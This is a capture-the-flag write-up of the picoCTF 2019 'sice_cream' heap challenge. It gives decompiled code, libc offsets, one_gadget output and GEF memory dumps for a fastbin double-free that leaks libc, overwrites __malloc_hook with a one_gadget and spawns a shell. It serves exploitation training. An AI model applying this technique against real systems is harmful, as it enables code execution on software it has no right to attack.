Binary Exploitation
Write Up: https://faraz.faith/2019-10-12-picoctf-2019-heap-challs/#sice_cream
The binary provided performs dynamic memory allocations and frees the allocated memory. The input to the includes name which is stored in an global array. All pointers to the memory chunks are stored in a global array which is adjacent to the name array.
The user specifies the size of the chunk required and then provides a description which is the information stored in the chunk. Max chunk size is 88 such that all chunks will be managed using fastbins and a total of 19 malloc() requests are allowed.
Exploiting the binary involves overwriting the glibc __malloc_hook function with a one gadget to gain remote shell access. This achieved using several steps:
- Determine memory address of System function and __malloc_hook function call using a libc leak.
- Modify the top chunk pointer to point to memory area with malloc_hook pointer.
- Overwrite __malloc_hook with the pointer to one-gadget system function.
- Attempt a double Free attack which will be detected and lead to malloc_hook opening the shell command to gain remote shell.
Executable code – using Ghidra to decompile the binary.
void FUN_00400b76(void)
{
int iVar1;
ulong uVar2;
long in_FS_OFFSET;
char local_28 [24];
undefined8 local_10;
local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stdout,(char *)0x0,2,0);
puts(“Welcome to the Sice Cream Store!”);
puts(“We have the best sice cream in the world!”);
puts(“Whats your name?”);
printf(“> “);
read(0,&DAT_00602040,0x100);
while( true ) {
while( true ) {
while( true ) {
FUN_004008e7();
printf(“> “);
read(0,local_28,0x10);
uVar2 = strtoul(local_28,(char **)0x0,10);
iVar1 = (int)uVar2;
if (iVar1 != 2) break;
FUN_00400a5b();
}
if (2 < iVar1) break;
if (iVar1 != 1) goto LAB_00400cb5;
FUN_0040091e();
}
if (iVar1 != 3) break;
FUN_00400b24();
}
if (iVar1 == 4) {
puts(“Too hard? ;)”);
}
LAB_00400cb5:
/* WARNING: Subroutine does not return */
exit(0);
}
*—————————————————————-
void FUN_004008e7(void)
{
puts(“1. Buy sice cream”);
puts(“2. Eat sice cream”);
puts(“3. Reintroduce yourself”);
puts(“4. Exit”);
return;
}
*—————————————————————-
void FUN_0040091e(void)
{
int iVar1;
ulong uVar2;
void *pvVar3;
long in_FS_OFFSET;
char local_28 [24];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
iVar1 = FUN_004008a7(); <- get next index for global array of pointers
if (iVar1 < 0) {
puts(“Out of space!”);
/* WARNING: Subroutine does not return */
exit(-1);
}
puts(“How much sice cream do you want?”); <-size of memory required
printf(“> “);
read(0,local_28,0x10);
uVar2 = strtoul(local_28,(char **)0x0,10);
if (0x58 < (uint)uVar2) { <- memory chunk requested must be 0x58 bytes or less
puts(“That\’s too much sice cream!”);
/* WARNING: Subroutine does not return */
exit(-1);
}
pvVar3 = malloc(uVar2 & 0xffffffff);
*(void **)(&DAT_00602140 + (long)iVar1 * 8) = pvVar3; <- save pointer to new chunk
puts(“What flavor?”); <- enter data to be saved in the chunks
printf(“> “);
read(0,*(void **)(&DAT_00602140 + (long)iVar1 * 8),uVar2 & 0xffffffff);
puts(“Here you go!”);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
*—————————————————————-
void FUN_00400a5b(void)
{
ulong uVar1;
long in_FS_OFFSET;
char local_28 [24];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
puts(“Which sice cream do you want to eat?”); <- specify index of array which contains the pointer
printf(“> “);
read(0,local_28,0x10);
uVar1 = strtoul(local_28,(char **)0x0,10);
if (0x13 < (uint)uVar1) { <- index must me a value from 0 to 19
puts(“Invalid index!”);
/* WARNING: Subroutine does not return */
exit(-1);
}
free(*(void **)(&DAT_00602140 + (uVar1 & 0xffffffff) * 8)); <- release used memory chunk
puts(“Yum!”);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
*—————————————————————-
int FUN_004008a7(void)
{
int local_c;
local_c = 0;
while( true ) {
if (0x13 < local_c) { <- confirm that no more than 19 memory allocations requested
return -1;
}
if (*(long *)(&DAT_00602140 + (long)local_c * 8) == 0) break;
local_c = local_c + 1;
}
return local_c; <- returns the index of the next free memory chunk pointers array element
}
*—————————————————————-
void FUN_00400b24(void)
{
puts(“What\’s your name again?”); <- provides the ability to update the name array
printf(“> “);
read(0,&DAT_00602040,0x100);
printf(“Ah, right! How could a forget a name like %s!\n”,&DAT_00602040); <- prints name array
return;
}
*—————————————————————–
void FUN_00400cc4(char *param_1)
{
int iVar1;
FILE *__fp;
__fp = fopen(param_1,”r”);
if (__fp != (FILE *)0x0) {
while( true ) {
iVar1 = _IO_getc((_IO_FILE *)__fp);
if ((char)iVar1 == -1) break;
putchar((int)(char)iVar1);
}
}
return;
}
GLIBC Address Offsets.
The address of glibc functions will be different every time the binary is executed so we need to calculate the real address in the exploit. Each address is relative to the glibc memory base address so the offset from the base address is what is required.
Initial leak will be at main arena + 0x58. We need the offset from there to the libc base address in memory. First locate the main arena address (orange) using:
gef➤ heap bins [+] No Tcache in this version of libc ───────────────────────────────────────── Fastbins for arena 0x7fe30612eb20 ───────────────────────────────────────── Fastbins[idx=0, size=0x20] 0x00 Fastbins[idx=1, size=0x30] 0x00 Fastbins[idx=2, size=0x40] 0x00 Fastbins[idx=3, size=0x50] 0x00 Fastbins[idx=4, size=0x60] 0x00 Fastbins[idx=5, size=0x70] 0x00 Fastbins[idx=6, size=0x80] 0x00 ────────────────────────────────────── Unsorted Bin for arena '*0x7fe30612eb20' ────────────────────────────────────── [*] Invalid backward and forward bin pointers(fw==bk==NULL) ─────────────────────────────────────── Small Bins for arena '*0x7fe30612eb20' ─────────────────────────────────────── [*] Invalid backward and forward bin pointers(fw==bk==NULL) [+] Found 0 chunks in 0 small non-empty bins. ─────────────────────────────────────── Large Bins for arena '*0x7fe30612eb20' ─────────────────────────────────────── [*] Invalid backward and forward bin pointers(fw==bk==NULL) [+] Found 0 chunks in 0 large non-empty bins.
Then find the libc base address (orange) in memory:
gef➤ vmm [ Legend: Code | Heap | Stack ] Start End Offset Perm Path 0x0000000000400000 0x0000000000402000 0x0000000000000000 r-x /home/hamishk/picoctf/sice_cream/sice_cream_patched 0x0000000000601000 0x0000000000602000 0x0000000000001000 r-- /home/hamishk/picoctf/sice_cream/sice_cream_patched 0x0000000000602000 0x0000000000603000 0x0000000000002000 rw- /home/hamishk/picoctf/sice_cream/sice_cream_patched 0x00007fe305d6a000 0x00007fe305f2a000 0x0000000000000000 r-x /home/hamishk/picoctf/sice_cream/libc.so.6 0x00007fe305f2a000 0x00007fe30612a000 0x00000000001c0000 --- /home/hamishk/picoctf/sice_cream/libc.so.6 0x00007fe30612a000 0x00007fe30612e000 0x00000000001c0000 r-- /home/hamishk/picoctf/sice_cream/libc.so.6 0x00007fe30612e000 0x00007fe306130000 0x00000000001c4000 rw- /home/hamishk/picoctf/sice_cream/libc.so.6 0x00007fe306130000 0x00007fe306134000 0x0000000000000000 rw- 0x00007fe306134000 0x00007fe30615a000 0x0000000000000000 r-x /home/hamishk/picoctf/sice_cream/ld-2.23.so 0x00007fe306356000 0x00007fe306359000 0x0000000000000000 rw- 0x00007fe306359000 0x00007fe30635a000 0x0000000000025000 r-- /home/hamishk/picoctf/sice_cream/ld-2.23.so 0x00007fe30635a000 0x00007fe30635b000 0x0000000000026000 rw- /home/hamishk/picoctf/sice_cream/ld-2.23.so 0x00007fe30635b000 0x00007fe30635c000 0x0000000000000000 rw- 0x00007ffeabc14000 0x00007ffeabc35000 0x0000000000000000 rw- [stack] 0x00007ffeabd7b000 0x00007ffeabd7f000 0x0000000000000000 r-- [vvar] 0x00007ffeabd7f000 0x00007ffeabd81000 0x0000000000000000 r-x [vdso] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x [vsyscall]
Calculate the offset in python:
>>> hex(0x7fe30612eb20+0x58 – 0x00007fe305d6a000)
‘0x3c4b78’
All other memory addresses can be determined using pwntools or found manually.
The offset to system can be found using:
hamishk@ubuntu204:~/picoctf/sice_cream$ readelf -s libc.so.6 | grep system 225: 0000000000138810 70 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@@GLIBC_2.2.5 584: 0000000000045390 45 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE 1351: 0000000000045390 45 FUNC WEAK DEFAULT 13 system@@GLIBC_2.2.5
The offset of __malloc_hook can be found using:
hamishk@ubuntu204:~/picoctf/sice_cream$ readelf -s libc.so.6 | grep malloc 443: 0000000000084130 414 FUNC GLOBAL DEFAULT 13 __libc_malloc@@GLIBC_2.2.5 550: 00000000000878a0 24 FUNC WEAK DEFAULT 13 malloc_info@@GLIBC_2.10 820: 0000000000086f90 474 FUNC WEAK DEFAULT 13 malloc_stats@@GLIBC_2.2.5 992: 00000000000842d0 539 FUNC WEAK DEFAULT 13 malloc_get_state@@GLIBC_2.2.5 1088: 00000000003c4b10 8 OBJECT WEAK DEFAULT 33 __malloc_hook@@GLIBC_2.2.5 1185: 0000000000084130 414 FUNC GLOBAL DEFAULT 13 malloc@@GLIBC_2.2.5 1221: 0000000000085070 498 FUNC WEAK DEFAULT 13 malloc_usable_size@@GLIBC_2.2.5 1467: 0000000000086ba0 705 FUNC WEAK DEFAULT 13 malloc_trim@@GLIBC_2.2.5 1787: 00000000003c67b0 8 OBJECT WEAK DEFAULT 34 __malloc_initialize_hook@@GLIBC_2.2.5 2087: 00000000000860e0 1320 FUNC WEAK DEFAULT 13 malloc_set_state@@GLIBC_2.2.5
The offset of __free_hook can be found using:
hamishk@ubuntu204:~/picoctf/sice_cream$ readelf -s libc.so.6 | grep free 70: 00000000000cf460 82 FUNC WEAK DEFAULT 13 globfree64@@GLIBC_2.2.5 191: 00000000000f4460 93 FUNC GLOBAL DEFAULT 13 wordfree@@GLIBC_2.2.5 214: 00000000003c67a8 8 OBJECT WEAK DEFAULT 34 __free_hook@@GLIBC_2.2.5 351: 0000000000175120 50 FUNC GLOBAL DEFAULT 15 __libc_thread_freeres@@GLIBC_PRIVATE 361: 000000000002d7f0 187 FUNC GLOBAL DEFAULT 13 __freelocale@@GLIBC_2.2.5 429: 00000000000e8380 68 FUNC WEAK DEFAULT 13 regfree@@GLIBC_2.2.5 540: 00000000000844f0 460 FUNC WEAK DEFAULT 13 cfree@@GLIBC_2.2.5 591: 00000000000f6aa0 5 FUNC GLOBAL DEFAULT 13 __sched_cpufree@@GLIBC_2.7 778: 000000000002d7f0 187 FUNC WEAK DEFAULT 13 freelocale@@GLIBC_2.3 1366: 000000000007b1e0 52 FUNC GLOBAL DEFAULT 13 _IO_free_backup_area@@GLIBC_2.2.5 1465: 0000000000123010 5 FUNC WEAK DEFAULT 13 freeifaddrs@@GLIBC_2.3 1474: 0000000000072c20 109 FUNC GLOBAL DEFAULT 13 _IO_free_wbackup_area@@GLIBC_2.2.5 1529: 000000000013a970 26 FUNC GLOBAL DEFAULT 13 xdr_free@@GLIBC_2.2.5 1725: 00000000000895e0 117 FUNC GLOBAL DEFAULT 13 obstack_free@@GLIBC_2.2.5 1819: 00000000000844f0 460 FUNC GLOBAL DEFAULT 13 __libc_free@@GLIBC_2.2.5 1879: 00000000000ef8f0 53 FUNC GLOBAL DEFAULT 13 freeaddrinfo@@GLIBC_2.2.5 1919: 0000000000174350 97 FUNC GLOBAL DEFAULT 14 __libc_freeres@@GLIBC_2.2.5 2162: 0000000000121a80 54 FUNC WEAK DEFAULT 13 if_freenameindex@@GLIBC_2.2.5 2178: 00000000000cf460 82 FUNC GLOBAL DEFAULT 13 globfree@@GLIBC_2.2.5 2207: 00000000000895e0 117 FUNC GLOBAL DEFAULT 13 _obstack_free@@GLIBC_2.2.5 2232: 00000000000844f0 460 FUNC GLOBAL DEFAULT 13 free@@GLIBC_2.2.5
One-Gadget offset:
hamishk@ubuntu204:~/picoctf/sice_cream$ one_gadget libc.so.6 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
Binary Debugging – using GEF (GDB) to analyse the execution of the program.
Step 1. Calculate run time memory address of system and others using a libc leak:
No symbols included with the compiled binary. A useful point to break is at puts().
gef➤ break puts Breakpoint 1 at 0x7f219a857690
The first input for the name array. Memory contents looks like a fake chunk.
gef➤ x /16xg 0x602040 0x602040: 0x0000000000000000 0x0000000000000061 0x602050: 0x0000000000000000 0x000000000000000a 0x602060: 0x0000000000000000 0x0000000000000000 0x602070: 0x0000000000000000 0x0000000000000000 0x602080: 0x0000000000000000 0x0000000000000000 0x602090: 0x0000000000000000 0x0000000000000000 0x6020a0: 0x0000000000000000 0x0000000000000000 0x6020b0: 0x0000000000000000 0x0000000000000000
Request first chunk – chunk pointer added to first element of the array of pointers and heap memory status updated.
Second chunk request.
Third chunk requested.
Now a double free is performed by freeing an additional redundant chunk due to the libc double free attack mitigation implemented.
First chunk is freed.
Second chunk freed.
First chunk freed again (double free). There are two chunks with the same address in the fastbin.
The first chunk is re-allocated with data in the format of a fake chunk. The fd pointer is the memory address of the name global array.
gef➤ x /40xg 0x02215010 -0x10 0x2215000: 0x0000000000000000 0x0000000000000061 0x2215010: 0x0000000000602040 0x4141414141414141 0x2215020: 0x4141414141414141 0x4141414141414141 0x2215030: 0x4141414141414141 0x4141414141414141 0x2215040: 0x4141414141414141 0x4141414141414141 0x2215050: 0x4141414141414141 0x4141414141414141 0x2215060: 0x4141414141414141 0x0000000000000061 0x2215070: 0x0000000002215000 0x4242424242424242 0x2215080: 0x4242424242424242 0x4242424242424242 0x2215090: 0x4242424242424242 0x4242424242424242 0x22150a0: 0x4242424242424242 0x4242424242424242 0x22150b0: 0x4242424242424242 0x4242424242424242 0x22150c0: 0x4242424242424242 0x0000000000000061 0x22150d0: 0x4343434343434343 0x4343434343434343 0x22150e0: 0x4343434343434343 0x4343434343434343 0x22150f0: 0x4343434343434343 0x4343434343434343 0x2215100: 0x4343434343434343 0x4343434343434343 0x2215110: 0x4343434343434343 0x4343434343434343 0x2215120: 0x4343434343434343 0x0000000000020ee1 0x2215130: 0x0000000000000000 0x0000000000000000
The memory manager is tricked into beleiving that there is an additional free chunk in the programs memory space.
The next phase is to allocate all available free chunks in the fastbin to gain a usable pointer to the fake chunk in the name global array.
Next Memory allocation.
Another memory allocation.
The next allocation reaches the end of the fastbin and returns the pointer to name array.
Memory contents of Name array:
gef➤ x /16xg 0x602040 0x602040: 0x0000000000000000 0x0000000000000061 0x602050: 0x4343434343434343 0x4343434343434343 0x602060: 0x4343434343434343 0x4343434343434343 0x602070: 0x4343434343434343 0x4343434343434343 0x602080: 0x4343434343434343 0x4343434343434343 0x602090: 0x4343434343434343 0x4343434343434343 0x6020a0: 0x4343434343434343 0x0000000000000000 0x6020b0: 0x0000000000000000 0x0000000000000000
Pointer added to global array and memory heap status updated.
Change the name array to another fake chunk.
gef➤ x /32xg 0x602040 0x602040: 0x0000000000000000 0x0000000000000091 0x602050: 0x0000000000000021 0x0000000000000021 0x602060: 0x0000000000000021 0x0000000000000021 0x602070: 0x0000000000000021 0x0000000000000021 0x602080: 0x0000000000000021 0x0000000000000021 0x602090: 0x0000000000000021 0x0000000000000021 0x6020a0: 0x0000000000000021 0x0000000000000021 0x6020b0: 0x0000000000000021 0x0000000000000021 0x6020c0: 0x0000000000000021 0x0000000000000021 0x6020d0: 0x0000000000000021 0x0000000000000021 0x6020e0: 0x0000000000000021 0x0000000000000021 0x6020f0: 0x0000000000000021 0x0000000000000021 0x602100: 0x0000000000000021 0x0000000000000000 0x602110: 0x0000000000000000 0x0000000000000000 0x602120: 0x0000000000000000 0x0000000000000000 0x602130: 0x0000000000000000 0x0000000000000000
Fake chunk is now released. Memory contents of name array shows that FD and BK pointers are populated with address of main_arena + 0x58.
gef➤ x /16xg 0x602040 0x602040: 0x0000000000000000 0x0000000000000091 0x602050: 0x00007f219abacb78 0x00007f219abacb78 0x602060: 0x0000000000000021 0x0000000000000021 0x602070: 0x0000000000000021 0x0000000000000021 0x602080: 0x0000000000000021 0x0000000000000021 0x602090: 0x0000000000000021 0x0000000000000021 0x6020a0: 0x0000000000000021 0x0000000000000021 0x6020b0: 0x0000000000000021 0x0000000000000021
Freeing the fake chunk in the name array adds it to the unsorted bin because it is larger than the chunks allowed in fastbin.
Updating the name array will print out the memory address providing the libc leak.
gef➤ x /32xg 0x602040 0x602040: 0x4141414141414141 0x0a41414141414141 0x602050: 0x00007f219abacb78 0x00007f219abacb78 0x602060: 0x0000000000000021 0x0000000000000021 0x602070: 0x0000000000000021 0x0000000000000021 0x602080: 0x0000000000000021 0x0000000000000021 0x602090: 0x0000000000000021 0x0000000000000021 0x6020a0: 0x0000000000000021 0x0000000000000021 0x6020b0: 0x0000000000000021 0x0000000000000021 0x6020c0: 0x0000000000000021 0x0000000000000021 0x6020d0: 0x0000000000000090 0x0000000000000020 0x6020e0: 0x0000000000000021 0x0000000000000021 0x6020f0: 0x0000000000000021 0x0000000000000021 0x602100: 0x0000000000000021 0x0000000000000000 0x602110: 0x0000000000000000 0x0000000000000000 0x602120: 0x0000000000000000 0x0000000000000000 0x602130: 0x0000000000000000 0x0000000000000000
The memory address for libc functions are calculated using the leaked address and pwntools.
[*] Leak: 0x7f219abacb78 [*] main arena: 0x7f219abacb20 [*] Libc base: 0x7f219a7e8000 [*] system: 0x7f219a82d390 [*] __free_hook: 0x7f219abae7a8 [*] __malloc_hook: 0x7f219abacb10 [*] one_gadget: 0x7f219a8d82a4
Step 2. Modify the top chunk pointer to point to system memory area with malloc_hook pointer.:
Change the size of the fake chunk in the name array.
gef➤ x /32xg 0x602040 0x602040: 0x0000000000000000 0x0000000000000061 0x602050: 0x00007f219abacb78 0x00007f219abacb78 0x602060: 0x0000000000000000 0x0000000000000000 0x602070: 0x0000000000000000 0x0000000000000000 0x602080: 0x0000000000000000 0x0000000000000000 0x602090: 0x0000000000000000 0x0000000000000000 0x6020a0: 0x0000000000000000 0x0000000000000021 0x6020b0: 0x0000000000000021 0x0000000000000021 0x6020c0: 0x0000000000000021 0x0000000000000021 0x6020d0: 0x0000000000000090 0x0000000000000020 0x6020e0: 0x0000000000000021 0x0000000000000021 0x6020f0: 0x0000000000000021 0x0000000000000021 0x602100: 0x0000000000000021 0x0000000000000000 0x602110: 0x0000000000000000 0x0000000000000000 0x602120: 0x0000000000000000 0x0000000000000000 0x602130: 0x0000000000000000 0x0000000000000000
Request memory chunk to clear out unsorted bin.
gef➤ x /16xg 0x602040 0x602040: 0x0000000000000000 0x0000000000000061 0x602050: 0x4141414141414141 0x4141414141414141 0x602060: 0x4141414141414141 0x4141414141414141 0x602070: 0x4141414141414141 0x4141414141414141 0x602080: 0x4141414141414141 0x4141414141414141 0x602090: 0x4141414141414141 0x4141414141414141 0x6020a0: 0x4141414141414141 0x0000000000000021 0x6020b0: 0x0000000000000021 0x0000000000000021
New pointer added to array and unsorted bin is now clear.
Create new fake chunk.
gef➤ x /16xg 0x602040 0x602040: 0x0000000000000000 0x0000000000000031 0x602050: 0x0000000000000021 0x0000000000000021 0x602060: 0x0000000000000021 0x0000000000000021 0x602070: 0x0000000000000021 0x0000000000000021 0x602080: 0x0000000000000021 0x0000000000000021 0x602090: 0x4141414141414141 0x4141414141414141 0x6020a0: 0x4141414141414141 0x0000000000000021 0x6020b0: 0x0000000000000021 0x0000000000000021
Free fake chunk goes into different fastbin.
Create another fake chunk in the name array.
gef➤ x /32xg 0x602040 0x602040: 0x0000000000000000 0x0000000000000061 0x602050: 0x0000000000000021 0x0000000000000021 0x602060: 0x0000000000000021 0x0000000000000021 0x602070: 0x0000000000000021 0x0000000000000021 0x602080: 0x0000000000000021 0x0000000000000021 0x602090: 0x0000000000000021 0x0000000000000021 0x6020a0: 0x0000000000000021 0x0000000000000021 0x6020b0: 0x0000000000000021 0x0000000000000021 0x6020c0: 0x0000000000000021 0x0000000000000021 0x6020d0: 0x0000000000000021 0x0000000000000021 0x6020e0: 0x0000000000000021 0x0000000000000021 0x6020f0: 0x0000000000000021 0x0000000000000021 0x602100: 0x0000000000000021 0x0000000000000000 0x602110: 0x0000000000000000 0x0000000000000000 0x602120: 0x0000000000000000 0x0000000000000000 0x602130: 0x0000000000000000 0x0000000000000000
A new free fake chunk with a fd pointer to the main arena in name array.
gef➤ x /32xg 0x602040 0x602040: 0x0000000000000000 0x0000000000000061 0x602050: 0x00007f219abacb2a 0x0000000000000000 0x602060: 0x0000000000000021 0x0000000000000021 0x602070: 0x0000000000000021 0x0000000000000021 0x602080: 0x0000000000000021 0x0000000000000021 0x602090: 0x0000000000000021 0x0000000000000021 0x6020a0: 0x0000000000000021 0x0000000000000021 0x6020b0: 0x0000000000000021 0x0000000000000021 0x6020c0: 0x0000000000000021 0x0000000000000021 0x6020d0: 0x0000000000000021 0x0000000000000021 0x6020e0: 0x0000000000000021 0x0000000000000021 0x6020f0: 0x0000000000000021 0x0000000000000021 0x602100: 0x0000000000000021 0x0000000000000000 0x602110: 0x0000000000000000 0x0000000000000000 0x602120: 0x0000000000000000 0x0000000000000000 0x602130: 0x0000000000000000 0x0000000000000000
Fastbin now points to a fake chunk in main arena memory.
Request a new chunk from the head of the 0x60 fastbin.
Request last chunk in the 0x60 fastbin to get a pointer to memory in the main arena.
Top Chunk pointer overwritten by the data in the fake chunk.
gef➤ x /16xg 0x7f219abacb3a -0x10 0x7f219abacb2a: 0x2040000000000000 0x0000000000000060 0x7f219abacb3a: 0x0000000000000000 0x0000000000000000 0x7f219abacb4a: 0x0000000000000000 0x0000000000000000 0x7f219abacb5a: 0x0000000000000000 0x0000000000000000 0x7f219abacb6a: 0x0000000000000000 0xcafb000000000000 0x7f219abacb7a: 0x000000007f219aba 0xcb78000000000000 0x7f219abacb8a: 0xcb7800007f219aba 0xcb8800007f219aba 0x7f219abacb9a: 0xcb8800007f219aba 0xcb9800007f219aba
Pointer to memory in main arena is added to array of all allocated pointers –
gef➤ x /16xg 0x00007f219abacb0b -16 0x7f219abacafb: 0x86de200000000000 0x0000000000000061 0x7f219abacb0b <__realloc_hook+3>: 0x8d82a40000000000 0x00000000007f219a 0x7f219abacb1b: 0x0000000000000000 0x0000000000000000 0x7f219abacb2b: 0x6020400000000000 0x0000000000000000 0x7f219abacb3b: 0x0000000000000000 0x0000000000000000 0x7f219abacb4b: 0x0000000000000000 0x0000000000000000 0x7f219abacb5b: 0x0000000000000000 0x86da0000007f2139 0x7f219abacb6b: 0x0000000000000000 0xbacb5b0000000000Malloc_hook now points to memory with desired system calls.
gef➤ x /16i 0x7f219a8d82a4 0x7f219a8d82a4: mov rax,QWORD PTR [rip+0x2d3c0d] # 0x7f219ababeb8 0x7f219a8d82ab: lea rsi,[rsp+0x50] 0x7f219a8d82b0: lea rdi,[rip+0x9caa0] # 0x7f219a974d57 0x7f219a8d82b7: mov rdx,QWORD PTR [rax] 0x7f219a8d82ba: call 0x7f219a8b4770 <execve> 0x7f219a8d82bf: call 0x7f219a81eec0 <abort> 0x7f219a8d82c4: lea rax,[rip+0x9ca8c] # 0x7f219a974d57 0x7f219a8d82cb: mov QWORD PTR [rsp+0x68],0x0 0x7f219a8d82d4: mov QWORD PTR [rsp+0x50],rax 0x7f219a8d82d9: mov rax,QWORD PTR [rsp+0x20] 0x7f219a8d82de: mov QWORD PTR [rsp+0x60],rax 0x7f219a8d82e3: lea rax,[rip+0x9e3a1] # 0x7f219a97668b 0x7f219a8d82ea: mov QWORD PTR [rsp+0x58],rax 0x7f219a8d82ef: jmp 0x7f219a8d81d2 0x7f219a8d82f4: mov esi,0x2 0x7f219a8d82f9: mov edi,eaxThe pointers to memory chunk has been added to array –
Step 4. Attempt a double Free attack which will be detected and lead to malloc_hook opening the shell command to gain remote shell.
First call to free chunk at index(0) –
Second call to free the same chunk. Program detects double free attempt and launches remote shell.